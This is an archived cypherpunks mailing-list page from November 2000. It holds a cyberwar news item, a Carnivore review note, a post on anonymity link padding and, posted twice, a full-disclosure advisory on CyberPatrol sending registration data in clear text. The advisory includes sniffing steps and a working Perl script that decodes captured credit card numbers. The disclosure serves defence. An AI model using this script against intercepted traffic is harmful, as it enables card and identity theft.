- cypherpunks-legacy - lists.cpunks.org

CDR: army cyberwar mil-fbi-commercial tentacles
by Anonymous 22 Nov '00

22 Nov '00

U.S. Army kick-starts cyberwar machine From... by Ellen Messmer (IDG) -- The U.S. military has a new mission: Be ready to launch a cyberattack against potential adversaries, some of whom are stockpiling cyberweapons. Such an attack would likely involve launching massive distributed denial-of-service assaults, unleashing crippling computer viruses or Trojans, and jamming the enemys computer systems through electronic radio-frequency interference. An order from the National Command Authority - backed by President Clinton and Secretary of Defense William Cohen - recently instructed the military to gear up to wage cyberwar. The ability of the U.S. to conduct such warfare "doesnt exist today," according to a top Army official speaking at a conference in Arlington, Va., last week. "We see three emerging threats: ballistic missiles, cyberwarfare and space control," said Lt. Gen. Edward Anderson, deputy commander in chief at U.S. Space Command, which was recently assigned the task of creating a cyberattack strategy. "Cyberwarfare is what we might think of as attacks against digital ones and zeros." Anderson spoke about the Space Commands cyberwarfare responsibilities at the National Strategies and Capabilities for a Changing World conference. The event was organized by the Institute for Foreign Policy Analysis, Tufts Universitys Fletcher School of Law and Diplomacy and the U.S. Army. The conference attracted military top brass and international diplomats. Anderson told attendees that the U.S. Space Command, the agency in charge of satellite communications, has begun to craft a computer network attack strategy. This strategy would detail actions to be followed by the Unified Commanders in Chief (CINC) if the president and the secretary of defense order a cyber strike. The CINCs are senior commanders in the Army, Navy, Air Force and Marines deploying U.S. forces around the world. The information-warfare strategy will be detailed in a defense plan called "OPLAN 3600" that Anderson said will require "unprecedented cooperation with commercial enterprises and other organizations." Theres no set deadline for completing OPLAN 3600, Anderson told Network World. But he noted that other countries, including Russia, Israel and China, are further along in building their information-warfare capabilities. Anderson said the U.S. may end up with a new type of weaponry for launching massive distributed denial-of-service attacks and computer viruses. "The Chinese recently indicated they are already moving along with this," he added. In addition to the possibility of cybercombat between nations, the military acknowledges that terrorists without the backing of any country can potentially use cyberweapons to disrupt U.S. telecommunications or banking systems that are largely electronic. Thats one reason the U.S. Space Command is joining with the FBI to build an information-warfare strategy. "This requires a close relationship between military and law enforcement," said Michael Vatis, an FBI official who also spoke at the conference. He noted that the FBI will have to help determine if any cyberattack suffered by U.S. military or business entities calls for a military or law enforcement response. "The Internet is ubiquitous. It allows attacks from anywhere in the world. Attackers can loop in from many different Internet providers," said Vatis, who noted that a cyberattack can include espionage using computer networks. "It could start across the street but appear to be coming from China. And something that might look like a hacker attack could be the beginning of cyberwarfare," he added. Vatis said the growing bullets-and-guns conflict in the Middle East between Israel and the Palestinians, with Islamic supporters elsewhere, is being accompanied by cyberattacks from each side against the other. Its serious enough, he said, that the FBI issued an alert about it to the U.S. Space Command, giving U.S. forces warning that the action on the cyber front could affect them, too. http://www.cnn.com/2000/TECH/computing/11/22/cyberwar.machine.idg/index.html

1 0

CDR: Carnivore Report
by John Young 22 Nov '00

22 Nov '00

We offer an HTML version of the Carnivore technical review report released yesterday by DoJ (without appendices): http://cryptome.org/carnivore.rev.htm (164KB text, 8 images) The original PDF report is 9.4MB, 121 pages. One notable conclusion about Carnivore's shortcomings and why its code should not be released to the public: Carnivore can be countered with simple, public-domain encryption. But it can snarf everything done by a targeted Web user, e-mail, FTP, HTTP, and you name it.

2 1

CyberPatrol - poor credit card protection
by Joey Maier 22 Nov '00

22 Nov '00

CyberPatrol - poor credit card protection ***SUMMARY*** Product: Cyber Patrol vunerable versions: 4.04.003 & 4.04.005 (possibly all other versions) non-vunerable versions: unknown Vendor: Microsys (formerly owned by Mattel, now JSB) Vendor Contacted: Fri, 18 Aug 2000 11:52:20 -0500 (CDT) Fixes: None available Issue: All registration info except the credit card # is sent in clear text, and the card number is obfuscated with a trivial substitution cipher. Demonstration: A simple program written in Perl is included with this advisory; given logs from the Snort network sniffer, it will display full registration and credit card information. Authors: Joey Maier <maierj(a)home.com> and Dan Kaminsky <effugas(a)best.com> Initial Research: Joey Maier <maierj(a)home.com> ***BACKGROUND*** CyberPatrol is a controversial but popular product for censoring family, library, and corporate computer systems against (ostensibly) sexual, hateful, or other forbidden categories of websites. (The liberties that CyberPatrol has taken with these categories, combined with their extensive legal actions against those who exposed such liberties, caused the Library of Congress to enact a special exemption defending those who CyberPatrol's authors were attacking. http://slashdot.org/yro/00/10/30/056213.shtml) ***DETAILS*** Registration for CyberPatrol is handled directly by the software, rather than through an SSL-encrypted web interface. The client, downloadable from http://www.cyberpatrol.com , presents the user with a registration form requesting standard information as well. Before any information is sent to Microsys, the client verifies that the credit card number qualifies as a valid Luhn number[1]. Assuming it is, the client sends the registration information to cybercentral.microsys.com (204.57.42.15) via normal http. (It uses a POST request.) The email address, expiration date of the credit card, name, address, and phone number are all sent in clear text, without any attempt to obfuscate or encrypt. (Please note that the form, which is illustrated at http://www.cyberpatrol.com/trial/reg_sof.htm, claims that "the above information will be scrambled before being sent".) The credit card information is not much better off: It is sent using an extraordinarily ineffective substitution cipher, equivalent to that which may be found in the games pages of many newspapers. This code is as follows: 0=z, 1={, 2=x, 3=y, 4=%7E, 5=., 6=|, 7=}, 8=r, 9=s The following is an example of a POST request which is destined for cybercentral.microsys.com (the card number was generated for this test only and was never submitted) =================================================================== 07/30-05:49:18.648744 192.168.23.13:1026 -> 204.57.42.15:80 TCP TTL:128 TOS:0xF8 ID:2048 DF ***PA* Seq: 0x2E92F Ack: 0x1BF0E567 Win: 0x2238 50 4F 53 54 20 2F 72 65 67 69 73 74 65 72 2F 20 POST /register/ 48 54 54 50 2F 31 2E 30 0D 0A 55 73 65 72 2D 41 HTTP/1.0..User-A 67 65 6E 74 3A 20 43 79 62 65 72 20 50 61 74 72 gent: Cyber Patr 6F 6C 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D ol..Accept: */*. 0A 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 .Content-type: a 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 pplication/x-www 2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 -form-urlencoded 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 ..Content-Length 3A 20 33 30 31 0D 0A 0D 0A 45 4D 41 49 4C 3D 6D : 301....EMAIL=m 61 69 65 72 6A 25 34 30 68 6F 6D 65 2E 63 6F 6D aierj%40home.com 26 43 41 52 44 3D 25 37 45 7B 78 72 25 37 45 7A &CARD=%7E{xr%7Ez 7D 72 7B 7D 7F 78 79 79 72 7A 26 45 58 50 3D 30 }r{}.xyyrz&EXP=0 39 30 32 26 4E 41 4D 45 3D 4A 6F 65 79 25 32 30 902&NAME=Joey%20 4D 61 69 65 72 26 41 44 44 52 31 3D 31 36 30 30 Maier&ADDR1=1600 25 32 30 50 65 6E 6E 73 79 6C 76 61 6E 69 61 25 %20Pennsylvania% 32 30 41 76 65 2E 25 32 30 4E 57 26 41 44 44 52 20Ave.%20NW&ADDR 32 3D 26 43 49 54 59 3D 57 61 73 68 69 6E 67 74 2=&CITY=Washingt 6F 6E 25 32 30 7C 25 32 30 44 43 25 32 30 7C 25 on%20|%20DC%20|% 32 30 32 30 35 30 30 25 32 30 7C 25 32 30 26 50 2020500%20|%20&P 48 4F 4E 45 3D 32 30 32 25 32 30 34 35 36 25 32 HONE=202%20456%2 30 31 34 31 34 26 53 49 54 45 25 32 30 53 4E 3D 01414&SITE%20SN= 37 31 34 31 26 4F 50 54 49 4F 4E 3D 31 26 50 52 7141&OPTION=1&PR 4F 44 55 43 54 3D 24 32 39 2E 39 35 25 32 30 50 ODUCT=$29.95%20P 72 6F 67 72 61 6D 25 32 30 77 25 32 46 25 32 30 rogram%20w%2F%20 33 25 32 30 6D 6F 2E 25 32 30 6C 69 73 74 26 43 3%20mo.%20list&C 4E 4F 54 3D 39 31 26 52 45 56 3D 34 2E 30 34 2E NOT=91&REV=4.04. 30 30 34 26 53 4F 55 52 43 45 3D 57 49 4E 2D 4D 004&SOURCE=WIN-M 53 49 2D 57 45 42 =================================================================== Similar information could be found in the logs of a corporate or educational proxy administrator; the important thing to note is the amount of personal information plainly visible along the right side of the sniffed request. Interestingly enough, it appears the client determines its own price. Oops. All that is required for an attacker to retrieve this information is for a sniffer to be placed upstream before 204.57.42.15, the IP address of Microsys's servers. Microsys has no method in place to detect, address, or reasonably frustrate such a sniffer. ***METHODOLOGY*** 1. Download and install CyberPatrol client. 2. Take a firewall with advancd configurability[2] and configure it to block PUSH-ACK and RST packets.[3] (This will allow the CyberPatrol client to do an nslookup and handshake through the firewall, but won't let it actually send the POST info to cybercentral.microsys.com. Test your rules first with a valid card you own; if you got them wrong, you want to find out without being accused of credit fraud.) 3. Execute a Luhn number generator (I used CreditMaster v. 4 from WTI) to generate some card numbers. 4. Start snort (http://www.snort.org) and use it to sniff the POST requests that the client is trying to send. 5. Try to register (If your firewall is properly blocking the POST request, this will fail and the cyberpatrol client will hang) 6. use the perl script below to parse the snort log and dump the credit card information to stdout in plain text. ***SUGGESTIONS*** users: Don't install this product until they fix their registration process. If you must install this product, consider using AntiSniff (http://www.l0pht.com/antisniff/) before hand to make sure there are no unauthorized sniffers running on your local network. vendor: You apparently lack cryptographic expertise onsite--accept this. Don't go out and attempt to merge in a commercial crypto toolkit or even OpenSSL--you don't have the time or the programming staff. Please, take advantage of the widespread deployment of SSL in the browser and have users register online through an SSL enabled form. Return a trivially encrypted code for them to paste or type into their client. I'd suggest adding a filetype or a MIMEType so users simply would have to click on a link to register your software, but you'd both run the risk of collisions and would have to be eternally vigilant against buffer overflows in your registration code--not something you want. Your worst case liability in this case is users stealing your software with forged registration codes--bad, but not as bad as losing your merchant account. It's just too easy for you to tell the OS to open a browser window to https://cybercentral.microsys.com for you to not use that solution. Your backend code won't even need to change--you just need to provide an HTML page with matching a matching form to your client. If your server doesn't already possess SSL support, you can install an SSL wrapper using the crossplatform stunnel package. ***HISTORY*** On Aug. 8 I called their help line and talked to a guy named Fidel. Very nice person, but he didn't listen to me. I said that registration information was sent in clear text - along with detailed information about your system configuration - and he insisted that they "scramble" this information. I uninstalled and reinstalled the product a few times, watched the registration process, and decided that I needed to contact microsys again, so I wrote an email explaining my concerns (clear text registration info and what appeared to be a weak CC# scheme). This email, and a snort log, were sent to the following vendor contact addresses on Fri, 18 Aug 2000 11:52:20 -0500 (CDT): >To: Admin(a)BRODER.COM, NetAdmin(a)BRODER.COM, help(a)mattelsupport.com, > security-alert(a)BRODER.COM, security-alert(a)mattelsupport.com, > secure(a)BRODER.COM, secure(a)mattelsupport.com, security(a)BRODER.COM, > security(a)mattelsupport.com, support(a)BRODER.COM, > support@mattelsupport.com,info@BRODER.COM, info(a)mattelsupport.com [...] > He told me that you don't store email > addresses or phone numbers with system information, and that any > information from the client was scrambled. Obviously this is not > true. > > While not a huge threat with the purchased version, the demo > version allows you to enter your credit card #, and I suspect that > it is sent the same way. I got a canned response on Mon, 21 Aug 2000 08:11:59 -0500 saying to call 319-247-3333 if I had technical questions. I called that day and talked to someone named Katie. She said her supervisor, Juan, would contact the development team and get back to me. She said they wanted to know how I had found this out. I had to explain what a sniffer was. They assigned this issue to case # 1530436 Friday, 8-25-00 I called them to see what was happening, and was told "We're researching it. We're trying to get a hold of development". I said I needed a contact who would tell me what was being done about this, so I knew something was being done. He said he'd email development today, and that I should expect to hear something by early next week. They still haven't contacted me. [It is now 11-22-00] ***RANTS*** It is totally irresponsible for a software vendor to dump security related issues to the same team of people who help users with installation issues. When someone reports a security vunerability, they should not have to talk to people who don't know what a sniffer is; they should be given a way to contact someone who understands the issue. [Added by Dan Kaminsky] Like many other examples before it, this case exemplifies how full disclosure in security vulnerabilities is critical. I want to know if my car is unsafe at any speed--I want to know if my food is poisonous--and I want to know if my software could ruin my credit. The secrecy that a thankfully small number of vendors pine for is merely the freedom to cut costs at their customer's expense, secure in the knowledge that the legal system will punish any who would dare to protect themselves and their fellow citizens. That's not freedom. That's not justice. And in the end--it's not in those vendors best interest: The backlash of heavy handed regulation they threaten to spawn will outweigh *any* other benefits they might seek. ***THANKS*** Thanks to Dan Kaminsky for providing many of the ideas I followed while researching this bug and writing this advisory. Also, thanks to the people who coded the tools I used: Martin Roesch (http://www.snort.org) Theo and the rest of the OpenBSD team. (http://www.openbsd.org) The IPF FAQ people (http://coombs.anu.edu.au/~avalon/) WTI (CreditMaster) [1] Credit cards are Luhn numbers. more info on the Luhn Formula can be found at: perl.about.com/compute/perl/library/weekly/aa080600a.htm perl.about.com/compute/perl/library/weekly/aa073000a.htm [2] Novell's BorderManager lacks advanced configurability. [3] These are the IPFilter rules used in the methodology described above. (Obviously, there's some redundancy here, but I wanted to err on the side of caution. The IPF gods among you can certainly produce a cleaner ruleset.) ============================================================== block in on ne1 proto tcp from any to any block in quick on ne1 proto tcp from any to any flags R block out quick on ne1 proto tcp from any to any flags R block in quick on ne0 proto tcp from any to any flags R block out quick on ne0 proto tcp from any to any flags R block in quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA block out quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA block in quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA block out quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA pass in quick on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24 pass out on ne1 proto tcp from any to cybercentral.microsys.com flags S pass in on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24 flags S/SA ============================================================== ***DEMONSTRATION*** Here's an example of the output from the perl script included below: $ ./cpetrol.pl EMAIL=maierj(a)home.com CARD=4128624250251572 EXP=0502 NAME=Joey Maier ADDR1=1600 Pennsylvania Ave. NW ADDR2= CITY=Washington | DC | 20500 | PHONE=202 456 1414 ################################################# # Name: cpetrol.pl # # Author: Joey Maier <maierj(a)home.com> # # purpose: parse snort logs of cyberpatrol # registration and dump the registration # information (including the credit # card numbers) in plain text to # stdout. # # useage: ./cpetrol.pl # # requirements: You have to have a snort log # of the registration, it has # to be named "log", and it # needs to be in this directory # # Greets: Thanks to Dan Kaminsky for his # help in researching this bug. # ################################################# #!/usr/bin/perl $showline=0; open(SNORT, "log"); LINE:while($line=<SNORT>){ @field=split /\s/, $line; if($#field>0 && $#field<15){next LINE;} if(!($line=~/\w/)){ $registerinfo=~s/\%20/ /g; $registerinfo=~s/\%40/@/g; ($junk, $registerinfo)=split /\.\.\.\./, $registerinfo; @array=split /\&/, $registerinfo; if($array[0]=~/EMAIL/){print "$array[0]\n";} if($array[1]=~/CARD/){print "CARD=";} @chararray=split //, $array[1]; $arraylength=$#chararray; for($i=0; $i<$arraylength+1; ++$i){ if($chararray[$i]=~/\%/){ $checkchar="$chararray[$i]"; $checkchar.="$chararray[$i+1]"; $checkchar.="$chararray[$i+2]"; $i=$i+2; } else{$checkchar="$chararray[$i]";} if($checkchar=~/z/){print "0";} elsif($checkchar=~/{/){print "1";} elsif($checkchar=~/x/){print "2";} elsif($checkchar=~/y/){print "3";} elsif($checkchar=~/\%7E/){print "4";} elsif($checkchar=~/\./){print "5";} elsif($checkchar=~/\|/){print "6";} elsif($checkchar=~/\}/){print "7";} elsif($checkchar=~/r/){print "8";} elsif($checkchar=~/s/){print "9";} } if($array[2]=~/EXP/){print "\n$array[2]\n";} if($array[3]=~/NAME/){print "$array[3]\n";} if($array[4]=~/ADDR1/){print "$array[4]\n";} if($array[5]=~/ADDR2/){print "$array[5]\n";} if($array[6]=~/CITY/){print "$array[6]\n";} if($array[7]=~/PHONE/){print "$array[7]\n\n\n";} $registerinfo=""; $showline=0; } if($line=~/POST/){$showline=1} if($showline eq 1){ ($junk, $line)=split / /, $line; chomp($line); $registerinfo.=$line; } }

1 0

CyberPatrol - poor credit card protection
by Joey Maier 22 Nov '00

22 Nov '00

CyberPatrol - poor credit card protection ***SUMMARY*** Product: Cyber Patrol vunerable versions: 4.04.003 & 4.04.005 (possibly all other versions) non-vunerable versions: unknown Vendor: Microsys (formerly owned by Mattel, now JSB) Vendor Contacted: Fri, 18 Aug 2000 11:52:20 -0500 (CDT) Fixes: None available Issue: All registration info except the credit card # is sent in clear text, and the card number is obfuscated with a trivial substitution cipher. Demonstration: A simple program written in Perl is included with this advisory; given logs from the Snort network sniffer, it will display full registration and credit card information. Authors: Joey Maier <maierj(a)home.com> and Dan Kaminsky <effugas(a)best.com> Initial Research: Joey Maier <maierj(a)home.com> ***BACKGROUND*** CyberPatrol is a controversial but popular product for censoring family, library, and corporate computer systems against (ostensibly) sexual, hateful, or other forbidden categories of websites. (The liberties that CyberPatrol has taken with these categories, combined with their extensive legal actions against those who exposed such liberties, caused the Library of Congress to enact a special exemption defending those who CyberPatrol's authors were attacking. http://slashdot.org/yro/00/10/30/056213.shtml) ***DETAILS*** Registration for CyberPatrol is handled directly by the software, rather than through an SSL-encrypted web interface. The client, downloadable from http://www.cyberpatrol.com , presents the user with a registration form requesting standard information as well. Before any information is sent to Microsys, the client verifies that the credit card number qualifies as a valid Luhn number[1]. Assuming it is, the client sends the registration information to cybercentral.microsys.com (204.57.42.15) via normal http. (It uses a POST request.) The email address, expiration date of the credit card, name, address, and phone number are all sent in clear text, without any attempt to obfuscate or encrypt. (Please note that the form, which is illustrated at http://www.cyberpatrol.com/trial/reg_sof.htm, claims that "the above information will be scrambled before being sent".) The credit card information is not much better off: It is sent using an extraordinarily ineffective substitution cipher, equivalent to that which may be found in the games pages of many newspapers. This code is as follows: 0=z, 1={, 2=x, 3=y, 4=%7E, 5=., 6=|, 7=}, 8=r, 9=s The following is an example of a POST request which is destined for cybercentral.microsys.com (the card number was generated for this test only and was never submitted) =================================================================== 07/30-05:49:18.648744 192.168.23.13:1026 -> 204.57.42.15:80 TCP TTL:128 TOS:0xF8 ID:2048 DF ***PA* Seq: 0x2E92F Ack: 0x1BF0E567 Win: 0x2238 50 4F 53 54 20 2F 72 65 67 69 73 74 65 72 2F 20 POST /register/ 48 54 54 50 2F 31 2E 30 0D 0A 55 73 65 72 2D 41 HTTP/1.0..User-A 67 65 6E 74 3A 20 43 79 62 65 72 20 50 61 74 72 gent: Cyber Patr 6F 6C 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D ol..Accept: */*. 0A 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 .Content-type: a 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 pplication/x-www 2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 -form-urlencoded 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 ..Content-Length 3A 20 33 30 31 0D 0A 0D 0A 45 4D 41 49 4C 3D 6D : 301....EMAIL=m 61 69 65 72 6A 25 34 30 68 6F 6D 65 2E 63 6F 6D aierj%40home.com 26 43 41 52 44 3D 25 37 45 7B 78 72 25 37 45 7A &CARD=%7E{xr%7Ez 7D 72 7B 7D 7F 78 79 79 72 7A 26 45 58 50 3D 30 }r{}.xyyrz&EXP=0 39 30 32 26 4E 41 4D 45 3D 4A 6F 65 79 25 32 30 902&NAME=Joey%20 4D 61 69 65 72 26 41 44 44 52 31 3D 31 36 30 30 Maier&ADDR1=1600 25 32 30 50 65 6E 6E 73 79 6C 76 61 6E 69 61 25 %20Pennsylvania% 32 30 41 76 65 2E 25 32 30 4E 57 26 41 44 44 52 20Ave.%20NW&ADDR 32 3D 26 43 49 54 59 3D 57 61 73 68 69 6E 67 74 2=&CITY=Washingt 6F 6E 25 32 30 7C 25 32 30 44 43 25 32 30 7C 25 on%20|%20DC%20|% 32 30 32 30 35 30 30 25 32 30 7C 25 32 30 26 50 2020500%20|%20&P 48 4F 4E 45 3D 32 30 32 25 32 30 34 35 36 25 32 HONE=202%20456%2 30 31 34 31 34 26 53 49 54 45 25 32 30 53 4E 3D 01414&SITE%20SN= 37 31 34 31 26 4F 50 54 49 4F 4E 3D 31 26 50 52 7141&OPTION=1&PR 4F 44 55 43 54 3D 24 32 39 2E 39 35 25 32 30 50 ODUCT=$29.95%20P 72 6F 67 72 61 6D 25 32 30 77 25 32 46 25 32 30 rogram%20w%2F%20 33 25 32 30 6D 6F 2E 25 32 30 6C 69 73 74 26 43 3%20mo.%20list&C 4E 4F 54 3D 39 31 26 52 45 56 3D 34 2E 30 34 2E NOT=91&REV=4.04. 30 30 34 26 53 4F 55 52 43 45 3D 57 49 4E 2D 4D 004&SOURCE=WIN-M 53 49 2D 57 45 42 =================================================================== Similar information could be found in the logs of a corporate or educational proxy administrator; the important thing to note is the amount of personal information plainly visible along the right side of the sniffed request. Interestingly enough, it appears the client determines its own price. Oops. All that is required for an attacker to retrieve this information is for a sniffer to be placed upstream before 204.57.42.15, the IP address of Microsys's servers. Microsys has no method in place to detect, address, or reasonably frustrate such a sniffer. ***METHODOLOGY*** 1. Download and install CyberPatrol client. 2. Take a firewall with advancd configurability[2] and configure it to block PUSH-ACK and RST packets.[3] (This will allow the CyberPatrol client to do an nslookup and handshake through the firewall, but won't let it actually send the POST info to cybercentral.microsys.com. Test your rules first with a valid card you own; if you got them wrong, you want to find out without being accused of credit fraud.) 3. Execute a Luhn number generator (I used CreditMaster v. 4 from WTI) to generate some card numbers. 4. Start snort (http://www.snort.org) and use it to sniff the POST requests that the client is trying to send. 5. Try to register (If your firewall is properly blocking the POST request, this will fail and the cyberpatrol client will hang) 6. use the perl script below to parse the snort log and dump the credit card information to stdout in plain text. ***SUGGESTIONS*** users: Don't install this product until they fix their registration process. If you must install this product, consider using AntiSniff (http://www.l0pht.com/antisniff/) before hand to make sure there are no unauthorized sniffers running on your local network. vendor: You apparently lack cryptographic expertise onsite--accept this. Don't go out and attempt to merge in a commercial crypto toolkit or even OpenSSL--you don't have the time or the programming staff. Please, take advantage of the widespread deployment of SSL in the browser and have users register online through an SSL enabled form. Return a trivially encrypted code for them to paste or type into their client. I'd suggest adding a filetype or a MIMEType so users simply would have to click on a link to register your software, but you'd both run the risk of collisions and would have to be eternally vigilant against buffer overflows in your registration code--not something you want. Your worst case liability in this case is users stealing your software with forged registration codes--bad, but not as bad as losing your merchant account. It's just too easy for you to tell the OS to open a browser window to https://cybercentral.microsys.com for you to not use that solution. Your backend code won't even need to change--you just need to provide an HTML page with matching a matching form to your client. If your server doesn't already possess SSL support, you can install an SSL wrapper using the crossplatform stunnel package. ***HISTORY*** On Aug. 8 I called their help line and talked to a guy named Fidel. Very nice person, but he didn't listen to me. I said that registration information was sent in clear text - along with detailed information about your system configuration - and he insisted that they "scramble" this information. I uninstalled and reinstalled the product a few times, watched the registration process, and decided that I needed to contact microsys again, so I wrote an email explaining my concerns (clear text registration info and what appeared to be a weak CC# scheme). This email, and a snort log, were sent to the following vendor contact addresses on Fri, 18 Aug 2000 11:52:20 -0500 (CDT): >To: Admin(a)BRODER.COM, NetAdmin(a)BRODER.COM, help(a)mattelsupport.com, > security-alert(a)BRODER.COM, security-alert(a)mattelsupport.com, > secure(a)BRODER.COM, secure(a)mattelsupport.com, security(a)BRODER.COM, > security(a)mattelsupport.com, support(a)BRODER.COM, > support@mattelsupport.com,info@BRODER.COM, info(a)mattelsupport.com [...] > He told me that you don't store email > addresses or phone numbers with system information, and that any > information from the client was scrambled. Obviously this is not > true. > > While not a huge threat with the purchased version, the demo > version allows you to enter your credit card #, and I suspect that > it is sent the same way. I got a canned response on Mon, 21 Aug 2000 08:11:59 -0500 saying to call 319-247-3333 if I had technical questions. I called that day and talked to someone named Katie. She said her supervisor, Juan, would contact the development team and get back to me. She said they wanted to know how I had found this out. I had to explain what a sniffer was. They assigned this issue to case # 1530436 Friday, 8-25-00 I called them to see what was happening, and was told "We're researching it. We're trying to get a hold of development". I said I needed a contact who would tell me what was being done about this, so I knew something was being done. He said he'd email development today, and that I should expect to hear something by early next week. They still haven't contacted me. [It is now 11-22-00] ***RANTS*** It is totally irresponsible for a software vendor to dump security related issues to the same team of people who help users with installation issues. When someone reports a security vunerability, they should not have to talk to people who don't know what a sniffer is; they should be given a way to contact someone who understands the issue. [Added by Dan Kaminsky] Like many other examples before it, this case exemplifies how full disclosure in security vulnerabilities is critical. I want to know if my car is unsafe at any speed--I want to know if my food is poisonous--and I want to know if my software could ruin my credit. The secrecy that a thankfully small number of vendors pine for is merely the freedom to cut costs at their customer's expense, secure in the knowledge that the legal system will punish any who would dare to protect themselves and their fellow citizens. That's not freedom. That's not justice. And in the end--it's not in those vendors best interest: The backlash of heavy handed regulation they threaten to spawn will outweigh *any* other benefits they might seek. ***THANKS*** Thanks to Dan Kaminsky for providing many of the ideas I followed while researching this bug and writing this advisory. Also, thanks to the people who coded the tools I used: Martin Roesch (http://www.snort.org) Theo and the rest of the OpenBSD team. (http://www.openbsd.org) The IPF FAQ people (http://coombs.anu.edu.au/~avalon/) WTI (CreditMaster) [1] Credit cards are Luhn numbers. more info on the Luhn Formula can be found at: perl.about.com/compute/perl/library/weekly/aa080600a.htm perl.about.com/compute/perl/library/weekly/aa073000a.htm [2] Novell's BorderManager lacks advanced configurability. [3] These are the IPFilter rules used in the methodology described above. (Obviously, there's some redundancy here, but I wanted to err on the side of caution. The IPF gods among you can certainly produce a cleaner ruleset.) ============================================================== block in on ne1 proto tcp from any to any block in quick on ne1 proto tcp from any to any flags R block out quick on ne1 proto tcp from any to any flags R block in quick on ne0 proto tcp from any to any flags R block out quick on ne0 proto tcp from any to any flags R block in quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA block out quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA block in quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA block out quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA pass in quick on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24 pass out on ne1 proto tcp from any to cybercentral.microsys.com flags S pass in on ne1 proto tcp from cybercentral.microsys.com to 192.168.23.0/24 flags S/SA ============================================================== ***DEMONSTRATION*** Here's an example of the output from the perl script included below: $ ./cpetrol.pl EMAIL=maierj(a)home.com CARD=4128624250251572 EXP=0502 NAME=Joey Maier ADDR1=1600 Pennsylvania Ave. NW ADDR2= CITY=Washington | DC | 20500 | PHONE=202 456 1414 ################################################# # Name: cpetrol.pl # # Author: Joey Maier <maierj(a)home.com> # # purpose: parse snort logs of cyberpatrol # registration and dump the registration # information (including the credit # card numbers) in plain text to # stdout. # # useage: ./cpetrol.pl # # requirements: You have to have a snort log # of the registration, it has # to be named "log", and it # needs to be in this directory # # Greets: Thanks to Dan Kaminsky for his # help in researching this bug. # ################################################# #!/usr/bin/perl $showline=0; open(SNORT, "log"); LINE:while($line=<SNORT>){ @field=split /\s/, $line; if($#field>0 && $#field<15){next LINE;} if(!($line=~/\w/)){ $registerinfo=~s/\%20/ /g; $registerinfo=~s/\%40/@/g; ($junk, $registerinfo)=split /\.\.\.\./, $registerinfo; @array=split /\&/, $registerinfo; if($array[0]=~/EMAIL/){print "$array[0]\n";} if($array[1]=~/CARD/){print "CARD=";} @chararray=split //, $array[1]; $arraylength=$#chararray; for($i=0; $i<$arraylength+1; ++$i){ if($chararray[$i]=~/\%/){ $checkchar="$chararray[$i]"; $checkchar.="$chararray[$i+1]"; $checkchar.="$chararray[$i+2]"; $i=$i+2; } else{$checkchar="$chararray[$i]";} if($checkchar=~/z/){print "0";} elsif($checkchar=~/{/){print "1";} elsif($checkchar=~/x/){print "2";} elsif($checkchar=~/y/){print "3";} elsif($checkchar=~/\%7E/){print "4";} elsif($checkchar=~/\./){print "5";} elsif($checkchar=~/\|/){print "6";} elsif($checkchar=~/\}/){print "7";} elsif($checkchar=~/r/){print "8";} elsif($checkchar=~/s/){print "9";} } if($array[2]=~/EXP/){print "\n$array[2]\n";} if($array[3]=~/NAME/){print "$array[3]\n";} if($array[4]=~/ADDR1/){print "$array[4]\n";} if($array[5]=~/ADDR2/){print "$array[5]\n";} if($array[6]=~/CITY/){print "$array[6]\n";} if($array[7]=~/PHONE/){print "$array[7]\n\n\n";} $registerinfo=""; $showline=0; } if($line=~/POST/){$showline=1} if($showline eq 1){ ($junk, $line)=split / /, $line; chomp($line); $registerinfo.=$line; } }

1 0

CDR: W
by R. A. Hettinga 22 Nov '00

22 Nov '00

http://www.freerepublic.com/forum/a3a1b73ee4e38.htm Cheers, RAH -- ----------------- R. A. Hettinga <mailto: rah(a)ibuc.com> The Internet Bearer Underwriting Corporation <http://www.ibuc.com/> 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'

1 0

CDR: Re: ZKS -- the path to world domination
by obfuscation＠beta.freedom.net 22 Nov '00

22 Nov '00

Adam Back writes: > It's as strong as we could make it. Private interactive > communications are a hard problem. As Wei and I were discussing in > the "PipeNet protocol" thread in the last couple of weeks, there are 4 > main properties you're trying to optimise over: > > 1. security (resistance to traffic analysis) > 2. performance > 3. bandwidth efficiency (cost) > 4. DoS resistance > > It appears pretty hard to get more than one of these properties with > theoretical optimality. PipeNet gets the first one with good > theoretical security, but none of the others are good. Freedom makes > an engineering tradeoff which does reasonably on all 4. What about adding link padding? Can you say something about why this doesn't help, or costs too much? Without it, someone monitoring your system can see which ZKS node you are talking to. If they then monitor that node they can see that whenever you send an incoming message, there comes an outgoing message, so they can see the next node you are talking to, and so on. With link padding, they couldn't do this. They'd have to interrupt your data stream and then monitor *all* the outgoing traffic from *all* the ZKS nodes and see which one got interrupted. This sounds like a much more expensive attack. It is an active attack as well, while the previous one is passive and could be done by a Carnivore system. Ob

1 0

CDR: Onde vai com 500 Contos?
by apoio＠giganetstore.com 22 Nov '00

22 Nov '00

